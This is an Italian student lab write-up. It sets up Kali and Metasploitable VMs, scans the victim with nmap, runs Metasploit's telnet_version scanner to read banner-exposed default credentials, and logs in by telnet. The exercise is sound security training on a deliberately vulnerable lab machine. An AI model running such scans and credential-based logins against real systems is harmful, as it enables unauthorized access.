

L'esercizio consiste nel:

1. Cambiare indirizzo IP della macchina Kali e Metasploitable, inserire rispettivamente i nuovi indirizzi "192.168.1.25" e "192.168.1.40"
2. Utilizzare Metasploit per sfruttare la vulnerabilità di Telnet con il modulo "auxiliary telnet\_version" sulla macchina Metasploitable

1.

Per iniziare l'esercitazione devo prima mettere la macchina attaccante(kali) e la macchina vittima(metasploitable) sulla stessa rete per poter comunicare tra di loro andando a cambiare il loro indirizzo IP

```
auto eth0
iface eth0 inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.25/24
gateway 192.168.1.103
```

IP Kali

```
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.40
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.104
```

IP Metasploitable

2.

Prima di iniziare la sessione di hacking sul servizio telnet vedo se il servizio in questione è attivo sulla macchina vittima attraverso una scansione

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 03:38 EST
Nmap scan report for 192.168.1.40
Host is up (0.00059s latency).
Not shown: 979 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  rmiregistry?
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.04 seconds
```

```
msf6 > search telnet
```

---

```
Matching Modules
```

#	Name	Disclosure Date
-	-	-
0	exploit/linux/misc/asus_infosvr_auth_bypass_exec	2015-01-04
1	exploit/linux/http/asuswrtr_lan_rce	2018-01-22
2	auxiliary/server/capture/telnet	
3	auxiliary/scanner/telnet/brocade_enable_login	
4	exploit/windows/proxy/ccproxy/telnet_ping	2004-11-11
5	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17
6	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04
7	exploit/linux/http/dlink_diagnostic_exec_noauth	2013-03-05
8	exploit/linux/http/dlink300_exec_telnet	2013-04-22
9	exploit/unix/webapp/dogfood_spell_exec	2009-03-03
10	exploit/freebsd/telnet/telnet_encrypt_keyid	2011-12-23
11	exploit/windows/telnet/gamsoft_telsrv_username	2000-07-17
12	exploit/windows/telnet/goodtech_telnet	2005-03-15
13	exploit/linux/misc/hp_jetdirect_path_traversal	2017-04-05
14	exploit/linux/http/huawei_hg532n_cmdinject	2017-04-15
15	exploit/linux/misc/igel_command_injection	2012-02-25
16	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20
17	auxiliary/scanner/telnet/lantronix_telnet_password	
18	auxiliary/scanner/telnet/lantronix_telnet_version	
19	exploit/linux/telnet/telnet_encrypt_keyid	2011-12-23
20	auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof	2010-12-21
21	exploit/linux/telnet/netgear_telnetenable	2009-10-30
22	auxiliary/admin/http/netgear_pnpix_getsharefolderlist_auth_bypass	2021-09-06
23	auxiliary/admin/http/netgear_r7000_pass_reset	2020-06-15
24	auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce	2021-04-21
25	exploit/unix/misc/polycom_hdx_auth_bypass	2013-01-18
26	exploit/unix/misc/polycom_hdx_traceroute_exec	2017-11-12
27	exploit/freebsd/ftp/proftpd_telnet_iac	2010-11-01
28	exploit/linux/ftp/proftpd_telnet_iac	2010-11-01
29	auxiliary/scanner/telnet/telnet_ruggedcom	
30	auxiliary/scanner/telnet/satel_cmd_exec	2017-04-07
31	exploit/solaris/telnet/ttyprompt	2002-01-18
32	exploit/solaris/telnet/fuser	2007-02-12
33	exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection	2015-12-20
34	auxiliary/scanner/telnet/telnet_login	
35	auxiliary/scanner/telnet/telnet_version	

Dalle info posso notare i parametri da configurare richiesti per l'exploit come "RHOSTS", dove vado a mettere l'indirizzo IP della macchina Metasploitable con il comando "set RHOSTS"

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.40	yes	The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a>
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

Dopo aver fatto un nuovo “show options” vedo che il parametro configurato è stato preso e posso procedere direttamente all’exploit dato che il modulo scelto non ha bisogno di “payload”

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

L’exploit mi restituirà le credenziali di accesso alla macchina metasploitable.

Infatti, se dal terminale lancia il comando telnet più l’indirizzo IP di meta (“telnet 192.168.1.40”), mi verrà restituito il login di meta in cui posso accedere con le credenziali appena trovate per testare la buona riuscita dell’exploit

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Dec  6 03:36:29 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ █
```